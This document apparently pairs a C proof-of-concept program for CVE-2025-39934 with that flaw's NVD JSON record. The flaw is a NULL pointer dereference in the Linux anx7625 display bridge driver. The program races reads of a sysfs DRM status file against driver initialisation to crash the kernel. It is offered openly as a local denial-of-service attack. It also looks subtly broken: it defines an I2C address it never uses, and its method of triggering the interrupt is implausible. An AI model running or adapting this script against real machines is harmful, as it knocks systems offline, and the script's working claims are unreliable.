CVE-2025-39934

/* CVE-2025-39934 PoC - Trigger NULL pointer dereference in anx7625 driver * This PoC demonstrates how to trigger the race condition between * IRQ handler and resource initialization in the anx7625 bridge driver. * * Note: This requires local access with low privileges and specific * hardware/platform configuration with anx7625 bridge chip. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <pthread.h> #include <sys/ioctl.h> #include <linux/i2c-dev.h> #define ANX7625_I2C_ADDR 0x58 #define SYSFS_DRM_PATH "/sys/class/drm" static volatile int trigger_irq = 0; /* Thread to rapidly access the DRM device to trigger IRQ */ void *trigger_interrupt(void *arg) { int fd; char path[256]; /* Find and rapidly access anx7625 related DRM connector */ snprintf(path, sizeof(path), "%s/card0-DSI-1/status", SYSFS_DRM_PATH); while (!trigger_irq) { fd = open(path, O_RDONLY); if (fd >= 0) { char buf[16]; read(fd, buf, sizeof(buf)); close(fd); } usleep(100); /* Tight loop to catch initialization window */ } return NULL; } int main(int argc, char *argv[]) { pthread_t thread; int ret; printf("[*] CVE-2025-39934 PoC - anx7625 NULL pointer dereference\n"); printf("[*] Attempting to trigger race condition during driver init...\n"); /* Start thread to rapidly trigger interrupts during boot/load */ ret = pthread_create(&thread, NULL, trigger_interrupt, NULL); if (ret != 0) { fprintf(stderr, "[-] Failed to create thread\n"); return 1; } /* Let the thread run to create the race condition */ sleep(5); trigger_irq = 1; pthread_join(thread, NULL); printf("[*] PoC execution completed. Check dmesg for kernel oops.\n"); return 0; }

{"cve": {"id": "CVE-2025-39934", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T08:15:46.210", "lastModified": "2026-01-23T20:33:55.853", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm: bridge: anx7625: Fix NULL pointer dereference with early IRQ\n\nIf the interrupt occurs before resource initialization is complete, the\ninterrupt handler/worker may access uninitialized data such as the I2C\ntcpc_client device, potentially leading to NULL pointer dereference."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.194", "matchCriteriaId": "CF862263-DC8D-4324-A52A-DA1D7880B35A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.154", "matchCriteriaId": "E49CD91E-FC55-45B0-BB63-9AD5F5D70CAA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.108", "matchCriteriaId": "A7E8EAEE-7731-4996-9578-696255D61EA2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.49", "matchCriteriaId": "CAA033E9-A2C5-4976-A83E-9804D8FB827F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.16.9", "matchCriteriaId": "638DD910-1189-4F5E-98BF-2D436B695112"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:*", "matchCriteriaId": "327D22EF-390B-454C-BD31-2ED23C998A1C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:*", "matchCriteriaId": "C730CD9A-D969-4A8E-9522-162AAF7C0EE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:*", "matchCriteriaId": "39982C4B-716E-4B2F-8196-FA301F47807D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:*", "matchCriteriaId": "340BEEA9-D70D-4290-B502-FBB1032353B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc5:*:*:*:*:*:*", "matchCriteriaId": "47E4C5C0-079F-4838-971B-8C503D48FCC2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc6:*:*:*:*:*:*", "matchCriteriaId": "5A4516A6-C12E-42A4-8C0E-68AEF3264504"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0da73f7827691a5e2265b110d5fe12f29535ec92", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/15a77e1ab0a994d69b471c76b8d01117128dda26", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1a7ea294d57fb61485d11b3f2241d631d73025cb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/51a501e990a353a4f15da6bab295b28e5d118f64", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a10f910c77f280327b481e77eab909934ec508f0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f9a089d0a6d537d0f2061c8a37a7de535ce0310e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}